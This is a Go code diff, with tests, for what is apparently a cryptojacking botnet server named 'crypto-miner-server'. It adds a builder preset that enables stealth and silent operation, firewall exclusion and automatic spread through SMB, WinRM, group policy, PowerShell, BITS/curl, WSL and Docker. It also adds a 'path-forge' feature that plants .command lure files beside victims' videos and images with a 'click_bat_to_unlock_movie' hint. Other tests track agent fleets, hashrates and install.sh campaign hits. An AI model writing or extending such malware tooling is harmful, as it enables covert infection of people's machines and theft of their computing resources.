t.Fatal(err)
|
||||
}
|
||||
hub.statsBatchMu.Unlock()
|
||||
if merged["hashrate_15s"] != 10.0 {
|
||||
t.Fatalf("expected preserved hashrate_15s, got %v", merged["hashrate_15s"])
|
||||
}
|
||||
if merged["lotl_tier"] != "cpu_inprocess" {
|
||||
t.Fatalf("expected lotl_tier preserved, got %v", merged["lotl_tier"])
|
||||
}
|
||||
if merged["mining_hashrate"] != 850.0 {
|
||||
t.Fatalf("expected mining_hashrate merged, got %v", merged["mining_hashrate"])
|
||||
}
|
||||
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 1.0})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 2.0})
|
||||
hub.statsBatchMu.Lock()
|
||||
if len(hub.statsBatch) != 1 {
|
||||
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
|
||||
}
|
||||
var last map[string]interface{}
|
||||
if err := json.Unmarshal(hub.statsBatch["a1"], &last); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.statsBatchMu.Unlock()
|
||||
if last["hashrate_15s"] != 2.0 {
|
||||
t.Fatalf("latest update should win coalesce, got %v", last["hashrate_15s"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestStatsBatchCoalescesLotlAttempts(t *testing.T) {
|
||||
hub := NewWSHub(nil)
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": "a2",
|
||||
"lotl_tier": "container",
|
||||
"lotl_attempts": []map[string]interface{}{
|
||||
{"tier": "wsl", "ok": false, "error": "no distro", "duration_ms": 500},
|
||||
{"tier": "container", "ok": true, "duration_ms": 800, "wallet": "xmr"},
|
||||
},
|
||||
})
|
||||
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a2", "mining_hashrate": 1200.0})
|
||||
hub.statsBatchMu.Lock()
|
||||
var merged map[string]interface{}
|
||||
if err := json.Unmarshal(hub.statsBatch["a2"], &merged); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
hub.statsBatchMu.Unlock()
|
||||
if merged["lotl_tier"] != "container" {
|
||||
t.Fatalf("lotl_tier = %v", merged["lotl_tier"])
|
||||
}
|
||||
attempts, ok := merged["lotl_attempts"].([]interface{})
|
||||
if !ok || len(attempts) != 2 {
|
||||
t.Fatalf("lotl_attempts = %T %v", merged["lotl_attempts"], merged["lotl_attempts"])
|
||||
}
|
||||
if merged["mining_hashrate"] != 1200.0 {
|
||||
t.Fatalf("mining_hashrate = %v", merged["mining_hashrate"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunWarRoomBroadcastPushesFrame(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
|
||||
if err := database.LogCampaignEvent("wave-test", "b1", db.CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
prev := warRoomBroadcastInterval
|
||||
warRoomBroadcastInterval = 25 * time.Millisecond
|
||||
t.Cleanup(func() { warRoomBroadcastInterval = prev })
|
||||
|
||||
hub := NewWSHub(database)
|
||||
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type warRoomResult struct {
|
||||
body map[string]interface{}
|
||||
err string
|
||||
}
|
||||
warCh := make(chan warRoomResult, 1)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(3 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
warCh <- warRoomResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "emberwake_war_room" {
|
||||
continue
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
warCh <- warRoomResult{err: "parse: " + parseErr.Error()}
|
||||
return
|
||||
}
|
||||
warCh <- warRoomResult{body: body}
|
||||
return
|
||||
}
|
||||
}()
|
||||
|
||||
select {
|
||||
case r := <-warCh:
|
||||
if r.err != "" {
|
||||
t.Fatalf("dashboard did not receive emberwake_war_room: %s", r.err)
|
||||
}
|
||||
if days, ok := r.body["days"].(float64); !ok || days != 7 {
|
||||
t.Errorf("days: got %v, want 7", r.body["days"])
|
||||
}
|
||||
campaigns, _ := r.body["campaigns"].([]interface{})
|
||||
if len(campaigns) != 1 {
|
||||
t.Fatalf("expected 1 campaign in war room payload, got %d: %+v", len(campaigns), r.body)
|
||||
}
|
||||
c0, _ := campaigns[0].(map[string]interface{})
|
||||
if c0["campaign"] != "wave-test" {
|
||||
t.Errorf("campaign: got %v, want wave-test", c0["campaign"])
|
||||
}
|
||||
if hits, _ := c0["hits"].(float64); hits != 1 {
|
||||
t.Errorf("hits: got %v, want 1", c0["hits"])
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for emberwake_war_room broadcast")
|
||||
}
|
||||
}
|
||||
|
||||
// TestStatsBatchCoalescesManyAgents verifies 500 distinct agent_id stats updates
|
||||
// queued within one 250ms flush window produce a single stats_batch frame.
|
||||
func TestStatsBatchCoalescesManyAgents(t *testing.T) {
|
||||
resetWSAuthUsers(t, testAuthUser, testAuthPass)
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
|
||||
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
|
||||
t.Cleanup(dashSrv.Close)
|
||||
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
|
||||
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial dashboard: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = dashConn.Close() })
|
||||
|
||||
type batchResult struct {
|
||||
updates []map[string]interface{}
|
||||
err string
|
||||
}
|
||||
batchCh := make(chan batchResult, 2)
|
||||
go func() {
|
||||
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
|
||||
for {
|
||||
var msg Message
|
||||
if err := dashConn.ReadJSON(&msg); err != nil {
|
||||
batchCh <- batchResult{err: err.Error()}
|
||||
return
|
||||
}
|
||||
if msg.Type != "stats_batch" {
|
||||
continue
|
||||
}
|
||||
var body struct {
|
||||
Updates []json.RawMessage `json:"updates"`
|
||||
}
|
||||
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
|
||||
batchCh <- batchResult{err: parseErr.Error()}
|
||||
return
|
||||
}
|
||||
updates := make([]map[string]interface{}, 0, len(body.Updates))
|
||||
for _, raw := range body.Updates {
|
||||
var u map[string]interface{}
|
||||
if json.Unmarshal(raw, &u) != nil {
|
||||
continue
|
||||
}
|
||||
updates = append(updates, u)
|
||||
}
|
||||
batchCh <- batchResult{updates: updates}
|
||||
}
|
||||
}()
|
||||
|
||||
const agentCount = 500
|
||||
for i := 0; i < agentCount; i++ {
|
||||
hub.queueStatsBroadcast(map[string]interface{}{
|
||||
"agent_id": fmt.Sprintf("scale-agent-%d", i),
|
||||
"hashrate_15s": float64(i),
|
||||
})
|
||||
}
|
||||
|
||||
var first batchResult
|
||||
select {
|
||||
case first = <-batchCh:
|
||||
if first.err != "" {
|
||||
t.Fatalf("dashboard did not receive stats_batch: %s", first.err)
|
||||
}
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for stats_batch relay")
|
||||
}
|
||||
|
||||
if len(first.updates) != agentCount {
|
||||
t.Fatalf("expected %d coalesced updates in one frame, got %d", agentCount, len(first.updates))
|
||||
}
|
||||
|
||||
seen := make(map[string]struct{}, agentCount)
|
||||
for _, u := range first.updates {
|
||||
id, _ := u["agent_id"].(string)
|
||||
if id == "" {
|
||||
t.Fatalf("update missing agent_id: %+v", u)
|
||||
}
|
||||
if _, dup := seen[id]; dup {
|
||||
t.Fatalf("duplicate agent_id in batch: %q", id)
|
||||
}
|
||||
seen[id] = struct{}{}
|
||||
}
|
||||
if len(seen) != agentCount {
|
||||
t.Fatalf("expected %d distinct agent_ids, got %d", agentCount, len(seen))
|
||||
}
|
||||
|
||||
select {
|
||||
case second := <-batchCh:
|
||||
if second.err == "" {
|
||||
t.Fatalf("expected single stats_batch frame, got second with %d updates", len(second.updates))
|
||||
}
|
||||
case <-time.After(400 * time.Millisecond):
|
||||
// no second batch within coalesce window — good
|
||||
}
|
||||
}
|
||||
|
||||
@@ -34,6 +34,7 @@ type BuildRequest struct {
|
||||
ThreadPercent int `json:"thread_percent"`
|
||||
CPUPriority string `json:"cpu_priority"`
|
||||
MiningMode string `json:"mining_mode"`
|
||||
MinerExecution string `json:"miner_execution"`
|
||||
DisplayMode string `json:"display_mode"`
|
||||
SilentMode bool `json:"silent_mode"`
|
||||
RunAs string `json:"run_as"`
|
||||
@@ -110,6 +111,11 @@ type BuildRequest struct {
|
||||
AgentKillAfterDays int `json:"agent_kill_after_days"`
|
||||
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
|
||||
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
|
||||
|
||||
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
|
||||
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
|
||||
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
|
||||
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
|
||||
}
|
||||
|
||||
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
|
||||
@@ -300,6 +306,13 @@ func (h *Handler) SetBuildPolicy(p BuildPolicy) {
|
||||
h.policy = p
|
||||
}
|
||||
|
||||
// SetGoBinPath overrides the go toolchain binary used for forge compiles.
|
||||
func (h *Handler) SetGoBinPath(path string) {
|
||||
if strings.TrimSpace(path) != "" {
|
||||
h.goBinPath = path
|
||||
}
|
||||
}
|
||||
|
||||
func NewHandler(database *db.Database, dataDir string, agentSrcDir string, projectRoot string) *Handler {
|
||||
goBin := "go"
|
||||
if _, err := exec.LookPath("go"); err == nil {
|
||||
@@ -973,6 +986,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.MiningMode == "" {
|
||||
req.MiningMode = "always"
|
||||
}
|
||||
if req.MinerExecution == "" {
|
||||
req.MinerExecution = "inprocess"
|
||||
}
|
||||
if req.RunAs == "" {
|
||||
req.RunAs = "user"
|
||||
}
|
||||
@@ -1060,6 +1076,9 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
req.Persistence = true
|
||||
req.AutoStart = true
|
||||
}
|
||||
if req.LotlOnionEnabled {
|
||||
ApplyLotlOnionPreset(req)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
@@ -1138,7 +1157,8 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ThreadMode: %q,
|
||||
ThreadPercent: %d,
|
||||
CPUPriority: %q,
|
||||
MiningMode: %q,
|
||||
MiningMode: %q,
|
||||
MinerExecution: %q,
|
||||
DisplayMode: %q,
|
||||
SilentMode: %v,
|
||||
RunAs: %q,
|
||||
@@ -1203,6 +1223,10 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
AgentKillAfterDays: %d,
|
||||
HTTPSBeaconFallback: %v,
|
||||
HTTPSBeaconAfterMin: %d,
|
||||
|
||||
LotlOnionEnabled: %v,
|
||||
LotlPolicyFromServer: %v,
|
||||
LotlOnionTiers: %s,
|
||||
}
|
||||
}
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
@@ -1214,6 +1238,7 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ThreadPercent,
|
||||
req.CPUPriority,
|
||||
req.MiningMode,
|
||||
req.MinerExecution,
|
||||
req.DisplayMode,
|
||||
req.SilentMode,
|
||||
req.RunAs,
|
||||
@@ -1275,6 +1300,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.AgentKillAfterDays,
|
||||
httpsBeaconFallbackEnabled(req),
|
||||
httpsBeaconAfterMin(req),
|
||||
req.LotlOnionEnabled,
|
||||
req.LotlPolicyFromServer,
|
||||
formatGoStringSlice(NormalizeLotlOnionTiers(req.LotlOnionTiers)),
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
79
server/internal/builder/lotl_onion.go
Normal file
79
server/internal/builder/lotl_onion.go
Normal file
@@ -0,0 +1,79 @@
|
||||
package builder
|
||||
|
||||
import "strings"
|
||||
|
||||
// DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync.
|
||||
var DefaultLotlOnionTiers = []string{
|
||||
"docker",
|
||||
"wsl",
|
||||
"powershell",
|
||||
"dotnet",
|
||||
"bits_curl",
|
||||
"smb",
|
||||
"winrm",
|
||||
"linux",
|
||||
"gpo",
|
||||
}
|
||||
|
||||
// NormalizeLotlOnionTiers filters tier ids for forge + server config.
|
||||
func NormalizeLotlOnionTiers(raw []string) []string {
|
||||
allowed := map[string]struct{}{
|
||||
"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
|
||||
"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
|
||||
}
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, t := range raw {
|
||||
t = strings.ToLower(strings.TrimSpace(t))
|
||||
if t == "bits/curl" {
|
||||
t = "bits_curl"
|
||||
}
|
||||
if _, ok := allowed[t]; ok {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
if len(out) == 0 {
|
||||
dup := make([]string, len(DefaultLotlOnionTiers))
|
||||
copy(dup, DefaultLotlOnionTiers)
|
||||
return dup
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ApplyLotlOnionPreset enforces AV-Safe-adjacent mining + LOTL spread chain defaults.
|
||||
func ApplyLotlOnionPreset(req *BuildRequest) {
|
||||
req.LotlOnionEnabled = true
|
||||
req.GPUEnabled = false
|
||||
req.MinerExecution = "inprocess"
|
||||
req.ProcessHollowing = false
|
||||
req.SpreadKit = false
|
||||
req.FusionEnabled = false
|
||||
req.Obfuscate = false
|
||||
if !req.AutoSpread {
|
||||
req.AutoSpread = true
|
||||
}
|
||||
if !req.ShareSpread {
|
||||
req.ShareSpread = true
|
||||
}
|
||||
req.USBSpread = false
|
||||
req.RemoteAggressive = false
|
||||
if req.LotlPolicyFromServer || len(req.LotlOnionTiers) == 0 {
|
||||
req.LotlPolicyFromServer = true
|
||||
}
|
||||
req.LotlOnionTiers = NormalizeLotlOnionTiers(req.LotlOnionTiers)
|
||||
if req.MiningMode == "" || req.MiningMode == "always" {
|
||||
req.MiningMode = "idle"
|
||||
}
|
||||
if req.MaxCPUUsagePct <= 0 || req.MaxCPUUsagePct > 50 {
|
||||
req.MaxCPUUsagePct = 50
|
||||
}
|
||||
if req.ThreadPercent <= 0 || req.ThreadPercent > 50 {
|
||||
req.ThreadPercent = 50
|
||||
}
|
||||
req.StealthMode = true
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
req.SilentMode = true
|
||||
req.FileLogging = true
|
||||
req.FirewallExclusion = true
|
||||
}
|
||||
47
server/internal/builder/lotl_onion_test.go
Normal file
47
server/internal/builder/lotl_onion_test.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package builder
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeLotlOnionTiers(t *testing.T) {
|
||||
got := NormalizeLotlOnionTiers(nil)
|
||||
if len(got) != 9 || got[0] != "docker" || got[8] != "gpo" {
|
||||
t.Fatalf("defaults: %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyLotlOnionPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "pc",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48abc",
|
||||
}
|
||||
ApplyLotlOnionPreset(req)
|
||||
if !req.LotlOnionEnabled || !req.LotlPolicyFromServer {
|
||||
t.Fatal("lotl flags")
|
||||
}
|
||||
if req.MinerExecution != "inprocess" || req.GPUEnabled {
|
||||
t.Fatal("expected AV-Safe mining profile")
|
||||
}
|
||||
if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
|
||||
t.Fatal("spread profile")
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 9 {
|
||||
t.Fatalf("tiers: %v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRequestLotlOnion(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "pc",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "48abc",
|
||||
LotlOnionEnabled: true,
|
||||
}
|
||||
if err := h.normalizeRequest(req); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if req.MinerExecution != "inprocess" || !req.LotlPolicyFromServer {
|
||||
t.Fatalf("lotl normalize: exec=%q policy=%v", req.MinerExecution, req.LotlPolicyFromServer)
|
||||
}
|
||||
}
|
||||
@@ -10,6 +10,7 @@ import (
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
)
|
||||
|
||||
@@ -217,3 +218,172 @@ func TestPathForgeLockOriginalFalseKeepsOriginal(t *testing.T) {
|
||||
t.Error("original file was unexpectedly renamed to .locked when lock_original=false")
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeRootPathOutsideAllowedRoots verifies BLD-D1: root_path must not
|
||||
// contain traversal sequences and must resolve under home, temp, or server dataDir.
|
||||
func TestPathForgeRootPathOutsideAllowedRoots(t *testing.T) {
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
|
||||
cases := []struct {
|
||||
name string
|
||||
rootPath string
|
||||
skipUnless func() bool
|
||||
wantSubstr string
|
||||
}{
|
||||
{
|
||||
name: "traversal_dotdot",
|
||||
rootPath: "../../../windows",
|
||||
wantSubstr: "path traversal",
|
||||
},
|
||||
{
|
||||
name: "unix_system_path",
|
||||
rootPath: "/etc",
|
||||
skipUnless: func() bool { return runtime.GOOS != "windows" },
|
||||
wantSubstr: "outside allowed directories",
|
||||
},
|
||||
{
|
||||
name: "windows_system_path",
|
||||
rootPath: `C:\Windows\System32`,
|
||||
skipUnless: func() bool { return runtime.GOOS == "windows" },
|
||||
wantSubstr: "outside allowed directories",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tc := range cases {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
if tc.skipUnless != nil && !tc.skipUnless() {
|
||||
t.Skip("not applicable on this platform")
|
||||
}
|
||||
|
||||
escaped := strings.ReplaceAll(tc.rootPath, `\`, `\\`)
|
||||
body := `{"root_path":"` + escaped + `","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
|
||||
if rec.Code != http.StatusBadRequest {
|
||||
t.Fatalf("status %d, want 400; body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
respBody := rec.Body.String()
|
||||
if !strings.Contains(respBody, "root_path rejected") {
|
||||
t.Errorf("expected root_path rejected in body, got %q", respBody)
|
||||
}
|
||||
if tc.wantSubstr != "" && !strings.Contains(respBody, tc.wantSubstr) {
|
||||
t.Errorf("expected %q in body, got %q", tc.wantSubstr, respBody)
|
||||
}
|
||||
|
||||
// Validation rejects before any walk/placement; Placed must stay 0.
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(strings.NewReader(respBody)).Decode(&res); err == nil && res.Placed != 0 {
|
||||
t.Errorf("Placed=%d, want 0", res.Placed)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeSkippedCountNonMediaExtensions verifies that files outside the
|
||||
// requested extension set increment Skipped while matching extensions are placed.
|
||||
// With extensions=[".jpg"] only: .mkv and .txt are skipped, .jpg is placed.
|
||||
func TestPathForgeSkippedCountNonMediaExtensions(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
for name, content := range map[string]string{
|
||||
"clip.mkv": "video",
|
||||
"readme.txt": "notes",
|
||||
"photo.jpg": "image",
|
||||
} {
|
||||
if err := os.WriteFile(filepath.Join(root, name), []byte(content), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
||||
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1","extensions":[".jpg"]}`
|
||||
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var res PathForgeResult
|
||||
if err := json.NewDecoder(rec.Body).Decode(&res); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if res.Skipped != 2 {
|
||||
t.Errorf("skipped: got %d, want 2 (.mkv + .txt)", res.Skipped)
|
||||
}
|
||||
if res.Total != 1 {
|
||||
t.Errorf("total: got %d, want 1 (.jpg only)", res.Total)
|
||||
}
|
||||
if res.Placed < 1 {
|
||||
t.Errorf("placed: got %d, want at least 1 for .jpg", res.Placed)
|
||||
}
|
||||
if res.Errors != 0 {
|
||||
t.Errorf("errors: got %d, want 0; %v", res.Errors, res.ErrorList)
|
||||
}
|
||||
if len(res.Results) != 1 || res.Results[0].Source != "photo.jpg" {
|
||||
t.Errorf("results: want single photo.jpg entry, got %+v", res.Results)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(root, "photo.command")); err != nil {
|
||||
t.Errorf("photo.command missing: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// TestPathForgeConcurrentPlacements verifies two overlapping POSTs against the
|
||||
// same root_path complete without hang or panic and leave companions on disk.
|
||||
func TestPathForgeConcurrentPlacements(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
mediaPath := filepath.Join(root, "film.mkv")
|
||||
if err := os.WriteFile(mediaPath, []byte("video"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
body := `{"root_path":"` + strings.ReplaceAll(root, `\`, `\\`) +
|
||||
`","target_windows":false,"target_mac":true,"server_url":"http://127.0.0.1"}`
|
||||
|
||||
h := NewPathForgeHandler(t.TempDir())
|
||||
const n = 2
|
||||
var wg sync.WaitGroup
|
||||
wg.Add(n)
|
||||
|
||||
type outcome struct {
|
||||
code int
|
||||
res PathForgeResult
|
||||
}
|
||||
outcomes := make([]outcome, n)
|
||||
|
||||
for i := 0; i < n; i++ {
|
||||
i := i
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/builder/path-forge", strings.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ServeHTTP(rec, req)
|
||||
outcomes[i].code = rec.Code
|
||||
if err := json.NewDecoder(rec.Body).Decode(&outcomes[i].res); err != nil {
|
||||
t.Errorf("goroutine %d decode: %v", i, err)
|
||||
}
|
||||
}()
|
||||
}
|
||||
wg.Wait()
|
||||
|
||||
for i, o := range outcomes {
|
||||
if o.code != http.StatusOK {
|
||||
t.Errorf("goroutine %d: status %d", i, o.code)
|
||||
}
|
||||
if o.res.Total != 1 {
|
||||
t.Errorf("goroutine %d: total %d, want 1", i, o.res.Total)
|
||||
}
|
||||
if o.res.Placed < 1 {
|
||||
t.Errorf("goroutine %d: placed %d, want at least 1", i, o.res.Placed)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(root, "film.command")); err != nil {
|
||||
t.Errorf("film.command missing after concurrent placements: %v", err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(root, "click_bat_to_unlock_movie")); err != nil {
|
||||
t.Errorf("hint file missing after concurrent placements: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
85
server/internal/db/agents_list.go
Normal file
85
server/internal/db/agents_list.go
Normal file
@@ -0,0 +1,85 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// AgentListFilter holds optional filters for paginated agent queries.
|
||||
type AgentListFilter struct {
|
||||
Limit int // 0 = no limit (return all matching rows)
|
||||
Offset int
|
||||
Status string // "online", "offline", or "" for any
|
||||
Subnet string // e.g. "10.0.0.x" — matched against agents.ip prefix
|
||||
}
|
||||
|
||||
// subnetToIPPrefix converts UI subnet labels to SQL LIKE patterns.
|
||||
func subnetToIPPrefix(subnet string) string {
|
||||
subnet = strings.TrimSpace(subnet)
|
||||
if subnet == "" {
|
||||
return ""
|
||||
}
|
||||
if strings.HasSuffix(subnet, ".x") {
|
||||
return strings.TrimSuffix(subnet, ".x") + ".%"
|
||||
}
|
||||
if strings.HasSuffix(subnet, "%") {
|
||||
return subnet
|
||||
}
|
||||
parts := strings.Split(subnet, ".")
|
||||
if len(parts) >= 3 {
|
||||
return fmt.Sprintf("%s.%s.%s.%%", parts[0], parts[1], parts[2])
|
||||
}
|
||||
return subnet + "%"
|
||||
}
|
||||
|
||||
func (d *Database) agentListWhere(f AgentListFilter) (clause string, args []interface{}) {
|
||||
var where []string
|
||||
if f.Status != "" {
|
||||
where = append(where, "status = ?")
|
||||
args = append(args, f.Status)
|
||||
}
|
||||
if prefix := subnetToIPPrefix(f.Subnet); prefix != "" {
|
||||
where = append(where, "ip LIKE ?")
|
||||
args = append(args, prefix)
|
||||
}
|
||||
if len(where) == 0 {
|
||||
return "", nil
|
||||
}
|
||||
return " WHERE " + strings.Join(where, " AND "), args
|
||||
}
|
||||
|
||||
// ListAgentsFiltered returns agents matching optional status/subnet filters.
|
||||
// When Limit > 0, results are paginated with Offset.
|
||||
func (d *Database) ListAgentsFiltered(f AgentListFilter) ([]*models.Agent, error) {
|
||||
where, args := d.agentListWhere(f)
|
||||
query := `SELECT ` + agentSelectCols + ` FROM agents` + where + ` ORDER BY last_seen DESC`
|
||||
if f.Limit > 0 {
|
||||
query += ` LIMIT ? OFFSET ?`
|
||||
args = append(args, f.Limit, f.Offset)
|
||||
}
|
||||
rows, err := d.Query(query, args...)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
var agents []*models.Agent
|
||||
for rows.Next() {
|
||||
a, err := d.scanAgent(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
agents = append(agents, a)
|
||||
}
|
||||
return agents, rows.Err()
|
||||
}
|
||||
|
||||
// CountAgentsFiltered returns the number of agents matching filter criteria (ignores Limit/Offset).
|
||||
func (d *Database) CountAgentsFiltered(f AgentListFilter) (int, error) {
|
||||
where, args := d.agentListWhere(f)
|
||||
var n int
|
||||
err := d.QueryRow(`SELECT COUNT(*) FROM agents`+where, args...).Scan(&n)
|
||||
return n, err
|
||||
}
|
||||
142
server/internal/db/agents_list_test.go
Normal file
142
server/internal/db/agents_list_test.go
Normal file
@@ -0,0 +1,142 @@
|
||||
package db
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestListAgentsFilteredLargeFleet(t *testing.T) {
|
||||
d, err := New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer d.Close()
|
||||
|
||||
const total = 200
|
||||
for i := 0; i < total; i++ {
|
||||
subnet := i % 3
|
||||
agent := &models.Agent{
|
||||
ID: fmt.Sprintf("agent-%04d", i),
|
||||
Name: fmt.Sprintf("node-%d", i),
|
||||
IP: fmt.Sprintf("10.0.%d.%d", subnet, (i%250)+1),
|
||||
Status: "online",
|
||||
LastSeen: time.Now().Add(-time.Duration(i) * time.Second),
|
||||
}
|
||||
if err := d.UpsertAgent(agent); err != nil {
|
||||
t.Fatalf("upsert %d: %v", i, err)
|
||||
}
|
||||
}
|
||||
|
||||
all, err := d.ListAgents()
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(all) != total {
|
||||
t.Fatalf("ListAgents: want %d got %d", total, len(all))
|
||||
}
|
||||
|
||||
page, err := d.ListAgentsFiltered(AgentListFilter{Limit: 50, Offset: 0})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(page) != 50 {
|
||||
t.Fatalf("page 0: want 50 got %d", len(page))
|
||||
}
|
||||
|
||||
subnetAgents, err := d.ListAgentsFiltered(AgentListFilter{Subnet: "10.0.1.x"})
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
wantSubnet := total / 3
|
||||
